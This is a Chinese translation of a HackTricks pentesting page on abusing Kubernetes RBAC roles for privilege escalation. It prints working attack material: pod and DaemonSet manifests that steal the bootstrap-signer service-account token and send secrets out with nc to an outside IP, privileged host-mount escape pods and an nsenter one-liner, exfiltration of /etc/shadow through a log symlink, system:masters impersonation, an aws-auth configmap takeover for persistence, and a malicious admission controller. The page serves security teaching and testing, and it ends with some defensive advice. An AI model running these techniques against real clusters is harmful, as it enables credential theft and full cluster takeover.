Abusing Roles/ClusterRoles in Kubernetes

支持HackTricks

在这里,您可以找到一些潜在危险的角色和集群角色配置。 请记住,您可以使用kubectl api-resources获取所有支持的资源。

特权提升

特权提升是指在集群中以不同的权限(在Kubernetes集群内或外部云中)获取对不同主体的访问权限,与您已经拥有的权限不同。在Kubernetes中,基本上有4种主要技术来提升特权

  • 能够冒充在Kubernetes集群内或外部云中具有更好权限的其他用户/组/服务账户

  • 能够创建/修补/执行pods,在其中您可以找到或附加具有更好权限的服务账户

  • 能够读取秘密,因为服务账户的令牌存储为秘密

  • 能够从容器逃逸到节点,在此您可以窃取在节点上运行的容器的所有秘密、节点的凭据以及节点在其运行的云中的权限(如果有的话)

  • 第五种值得一提的技术是能够在pod中运行端口转发,因为您可能能够访问该pod内的有趣资源。

访问任何资源或动词(通配符)

通配符(*)对任何资源和任何动词授予权限。它由管理员使用。在ClusterRole中,这意味着攻击者可以滥用集群中的任何命名空间。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

使用特定动词访问任何资源

在RBAC中,某些权限带来了重大风险:

  1. create: 授予创建任何集群资源的能力,存在特权升级的风险。

  2. list: 允许列出所有资源,可能泄露敏感数据。

  3. get: 允许访问服务账户的秘密,构成安全威胁。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

一个具有创建 pod 权限的攻击者,可以将一个特权服务账户附加到 pod 中,并窃取该服务账户的令牌以冒充该服务账户。有效地提升了其权限。

以下是一个将窃取 bootstrap-signer 服务账户令牌并将其发送给攻击者的 pod 示例:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod 创建与逃逸

以下指示容器可以拥有的所有权限:

  • 特权访问(禁用保护和设置能力)

  • 禁用命名空间 hostIPC 和 hostPid,这可以帮助提升权限

  • 禁用 hostNetwork 命名空间,允许访问以窃取节点的云权限和更好地访问网络

  • 在容器内挂载主机 /

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

创建 pod:

kubectl --token $token create -f mount_root.yaml

来自这条推文的单行代码,并添加了一些内容:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

现在您可以逃到节点,检查后期利用技术:

隐蔽性

您可能希望更加隐蔽,在接下来的页面中,您可以看到如果您仅启用前面模板中提到的一些权限,您将能够访问的内容:

  • 特权 + hostPID

  • 仅特权

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

您可以在 https://github.com/BishopFox/badPods 找到如何创建/滥用前面特权 pod 配置的示例

Pod 创建 - 移动到云

如果您可以创建一个pod(可选地创建一个服务账户),您可能能够通过将云角色分配给 pod 或服务账户获得云环境中的权限,然后访问它。 此外,如果您可以创建一个具有主机网络命名空间的 pod,您可以窃取节点实例的 IAM 角色。

有关更多信息,请查看:

创建/补丁部署、守护进程集、有状态集、复制控制器、副本集、作业和定时作业

可以滥用这些权限来创建一个新 pod并像前面的示例一样获得权限。

以下 yaml 创建一个守护进程集并提取 pod 内部 SA 的令牌

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec 是 Kubernetes 中的一个资源,用于 在 pod 内部的 shell 中运行命令。这允许 在容器内部运行命令或获取 shell

因此,可以 进入 pod 并窃取 SA 的令牌,或者进入特权 pod,逃逸到节点,并窃取节点中所有 pod 的令牌并 (滥用) 节点:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

此权限允许将一个本地端口转发到指定 pod 中的一个端口。这旨在能够轻松调试运行在 pod 内的应用程序,但攻击者可能会滥用它以获取对 pod 内有趣(如数据库)或脆弱应用程序(网页?)的访问:

kubectl port-forward pod/mypod 5000:5000

主机可写的 /var/log/ 逃逸

正如本研究中所指出的,如果您可以访问或创建一个挂载了主机 /var/log/ 目录的 pod,您可以逃逸出容器。 这基本上是因为当Kube-API 尝试获取容器的日志(使用 kubectl logs <pod>)时,它请求 pod 的 0.log 文件,使用的是 Kubelet 服务的 /logs/ 端点。 Kubelet 服务暴露了 /logs/ 端点,这基本上是暴露了容器的 /var/log 文件系统

因此,具有写入容器 /var/log/ 文件夹权限的攻击者可以通过两种方式滥用这种行为:

  • 修改其容器的 0.log 文件(通常位于 /var/logs/pods/namespace_pod_uid/container/0.log),使其成为一个指向 /etc/shadow 的符号链接。例如。然后,您将能够通过以下方式提取主机的 shadow 文件:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • 如果攻击者控制任何具有 读取 nodes/log 权限 的主体,他可以在 /host-mounted/var/log/sym 中创建一个 符号链接 指向 /,当 访问 https://<gateway>:10250/logs/sym/ 时,他将列出主机的根 文件系统(更改符号链接可以提供对文件的访问)。

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

实验室和自动化利用可以在 https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

绕过 readOnly 保护

如果你足够幸运,并且高度特权的能力 CAP_SYS_ADMIN 可用,你可以直接将文件夹重新挂载为 rw:

mount -o rw,remount /hostlogs/

绕过 hostPath readOnly 保护

正如在 这项研究 中所述,可以绕过保护:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

这旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载具有可写访问权限的主机文件夹,而不是使用 hostPath 挂载,从而防止像之前那样的逃逸:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

冒充特权账户

通过 用户冒充 权限,攻击者可以冒充特权账户。

只需在 kubectl 命令中使用参数 --as=<username> 来冒充用户,或使用 --as-group=<group> 来冒充组:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

或者使用 REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

列出秘密

列出秘密的权限可能允许攻击者实际读取秘密 通过访问 REST API 端点:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

读取秘密 – 暴力破解令牌 ID

虽然持有具有读取权限的令牌的攻击者需要确切的秘密名称才能使用它,但与更广泛的 列出秘密 权限不同,仍然存在漏洞。系统中的默认服务帐户可以被枚举,每个帐户都与一个秘密相关联。这些秘密的名称结构为:一个静态前缀后跟一个随机的五字符字母数字令牌(排除某些字符),根据 源代码

该令牌是从一个有限的 27 字符集(bcdfghjklmnpqrstvwxz2456789)生成的,而不是完整的字母数字范围。这个限制将总的可能组合减少到 14,348,907(27^5)。因此,攻击者可以在几个小时内可行地执行暴力攻击以推断令牌,这可能导致通过访问敏感服务帐户进行权限提升。

证书签名请求

如果您在资源 certificatesigningrequests 中具有动词 create(或至少在 certificatesigningrequests/nodeClient 中)。您可以 创建 一个 新节点 的新 CeSR。

根据 文档,自动批准此请求是可能的,因此在这种情况下您 不需要额外的权限。如果没有,您需要能够批准请求,这意味着在 certificatesigningrequests/approval 中更新,并在 signers 中使用资源名称 <signerNameDomain>/<signerNamePath><signerNameDomain>/* 进行批准。

一个 具有所有所需权限的角色示例 是:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

所以,随着新的节点CSR被批准,你可以滥用节点的特殊权限来窃取秘密提升权限

这篇文章这篇文章中,GKE K8s TLS引导配置被设置为自动签名,并被滥用来生成新的K8s节点的凭证,然后利用这些凭证提升权限,窃取秘密。 如果你拥有提到的权限,你可以做同样的事情。请注意,第一个例子绕过了防止新节点访问容器内部秘密的错误,因为节点只能访问挂载在其上的容器的秘密。

绕过这个限制的方法就是为挂载有有趣秘密的容器的节点名称创建节点凭证(但只需查看如何在第一篇文章中做到这一点):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

可以在 EKS(需要在 AWS 上)集群的 kube-system 命名空间中修改 configmaps 的主体可以通过覆盖 aws-auth configmap 获得集群管理员权限。 所需的操作是 updatepatch,或者如果 configmap 尚未创建,则是 create

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

您可以使用 aws-auth 进行 持久性,以便从 其他账户 访问用户。

然而,aws --profile other_account eks update-kubeconfig --name <cluster-name> 在不同账户中不起作用。但实际上,如果您将集群的 ARN 放入而不仅仅是名称,aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing 是可以工作的。 要使 kubectl 工作,只需确保 配置 受害者的 kubeconfig,并在 aws exec args 中添加 --profile other_account_role,这样 kubectl 将使用其他账户的配置文件来获取令牌并联系 AWS。

在 GKE 中升级

2 种方法将 K8s 权限分配给 GCP 主体。在任何情况下,主体还需要权限 container.clusters.get 以便能够获取访问集群的凭据,或者您需要 生成自己的 kubectl 配置文件(请遵循下一个链接)。

在与 K8s api 端点交谈时,GCP 身份验证令牌将被发送。然后,GCP 通过 K8s api 端点将首先 检查主体(通过电子邮件) 是否在集群内有任何访问权限,然后它将检查是否通过 GCP IAM 有任何访问权限。 如果 任何 这些都是 真的,他将会 得到回应。如果 没有,将会给出一个 错误,建议通过 GCP IAM 授予 权限

然后,第一种方法是使用 GCP IAM,K8s 权限有其 等效的 GCP IAM 权限,如果主体拥有它,就可以使用它。

第二种方法是 在集群内分配 K8s 权限,通过其 电子邮件 识别用户(包括 GCP 服务账户)。

创建 serviceaccounts 令牌

可以 创建 TokenRequests (serviceaccounts/token) 的主体在与 K8s api 端点交谈时 SAs(信息来自 这里)。

ephemeralcontainers

可以 updatepatch pods/ephemeralcontainers 的主体可以获得 其他 pods 的代码执行,并可能通过添加具有特权 securityContext 的临时容器 突破 到其节点。

ValidatingWebhookConfigurations 或 MutatingWebhookConfigurations

具有 createupdatepatch 任何动词的主体在 validatingwebhookconfigurationsmutatingwebhookconfigurations 上可能能够 创建这样的 webhookconfigurations 以便能够 提升权限

有关 mutatingwebhookconfigurations 的示例,请查看此帖的此部分

升级

正如您在下一部分中所读到的:内置的特权升级预防,主体不能更新或创建角色或集群角色,而不拥有这些新权限。除非他在 rolesclusterroles 上具有 动词 escalate。 然后他可以更新/创建具有比他拥有的更好权限的新角色、集群角色。

节点代理

具有访问 nodes/proxy 子资源的主体可以通过 Kubelet API 在 pods 上执行代码(根据 这个)。有关 Kubelet 身份验证的更多信息,请访问此页面:

您可以在这里找到如何通过 与 Kubelet API 授权交谈获取 RCE 的示例

删除 pods + 无法调度的节点

可以 删除 pods(在 pods 资源上使用 delete 动词),或 驱逐 pods(在 pods/eviction 资源上使用 create 动词),或 更改 pod 状态(访问 pods/status)并可以 使其他节点无法调度(访问 nodes/status)或 删除节点(在 nodes 资源上使用 delete 动词)并控制一个 pod 的主体,可以 从其他节点窃取 pods,以便它们在 被攻陷的 节点执行,攻击者可以 窃取这些 pods 的令牌

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

服务状态 (CVE-2020-8554)

可以 修改 services/status 的主体可以设置 status.loadBalancer.ingress.ip 字段,以利用 未修复的 CVE-2020-8554 并对集群发起 MiTM 攻击。大多数针对 CVE-2020-8554 的缓解措施仅防止 ExternalIP 服务(根据 这个)。

节点和 Pods 状态

具有 updatepatch 权限的主体可以修改标签,以影响强制执行的调度约束。

内置特权升级防护

Kubernetes 具有 内置机制 来防止特权升级。

该系统确保 用户无法通过修改角色或角色绑定来提升其权限。此规则的执行发生在 API 级别,即使 RBAC 授权者处于非活动状态,也提供了保护。

该规则规定 用户只能创建或更新角色,如果他们拥有角色所包含的所有权限。此外,用户现有权限的范围必须与他们尝试创建或修改的角色的范围一致:对于 ClusterRoles 是集群范围内的,或者对于 Roles 是限制在同一命名空间(或集群范围内)。

之前规则有一个例外。如果主体对 rolesclusterroles 具有 动词 escalate,他可以在没有自己拥有权限的情况下增加角色和集群角色的权限。

获取 & 修改 RoleBindings/ClusterRoleBindings

显然,这个技术以前有效,但根据我的测试,由于前面部分解释的原因,它现在不再有效。如果你没有权限,你无法创建/修改角色绑定以赋予自己或其他服务账户一些权限。

创建 Rolebindings 的权限允许用户 将角色绑定到服务账户。此权限可能导致特权升级,因为它 允许用户将管理员权限绑定到被攻陷的服务账户

其他攻击

Sidecar 代理应用

默认情况下,Pods 之间的通信没有任何加密。相互认证,双向,Pod 到 Pod。

创建一个 sidecar 代理应用

创建你的 .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

编辑您的 .yaml 文件并添加未注释的行:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

查看代理的日志:

kubectl logs app -C proxy

更多信息请访问: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

恶意 Admission Controller

Admission controller 在对象持久化之前拦截对 Kubernetes API 服务器的请求,但 在请求经过身份验证 和授权之后

如果攻击者以某种方式成功 注入一个 Mutationg Admission Controller,他将能够 修改已经通过身份验证的请求。这可能导致权限提升,并且通常能够在集群中持久化。

示例来自 https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

检查状态以查看是否已准备好:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

然后部署一个新的 pod:

kubectl run nginx --image nginx
kubectl get po -w

当您看到 ErrImagePull 错误时,请使用以下查询检查镜像名称:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

正如您在上面的图像中看到的,我们尝试运行镜像 nginx,但最终执行的镜像是 rewanthtammana/malicious-image。发生了什么!!?

Technicalities

./deploy.sh 脚本建立了一个变更的 webhook 认证控制器,它根据其配置行修改对 Kubernetes API 的请求,从而影响观察到的结果:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

最佳实践

禁用服务账户令牌的自动挂载

  • Pods 和服务账户:默认情况下,pods 会挂载服务账户令牌。为了增强安全性,Kubernetes 允许禁用此自动挂载功能。

  • 如何应用:在服务账户或 pods 的配置中设置 automountServiceAccountToken: false,从 Kubernetes 版本 1.6 开始。

在 RoleBindings/ClusterRoleBindings 中进行限制性用户分配

  • 选择性包含:确保仅将必要的用户包含在 RoleBindings 或 ClusterRoleBindings 中。定期审计并移除不相关的用户,以保持严格的安全性。

使用特定于命名空间的角色而非集群范围的角色

  • 角色与 ClusterRoles:优先使用 Roles 和 RoleBindings 进行特定于命名空间的权限,而不是适用于整个集群的 ClusterRoles 和 ClusterRoleBindings。这种方法提供了更细的控制,并限制了权限的范围。

使用自动化工具

参考文献

支持 HackTricks

Last updated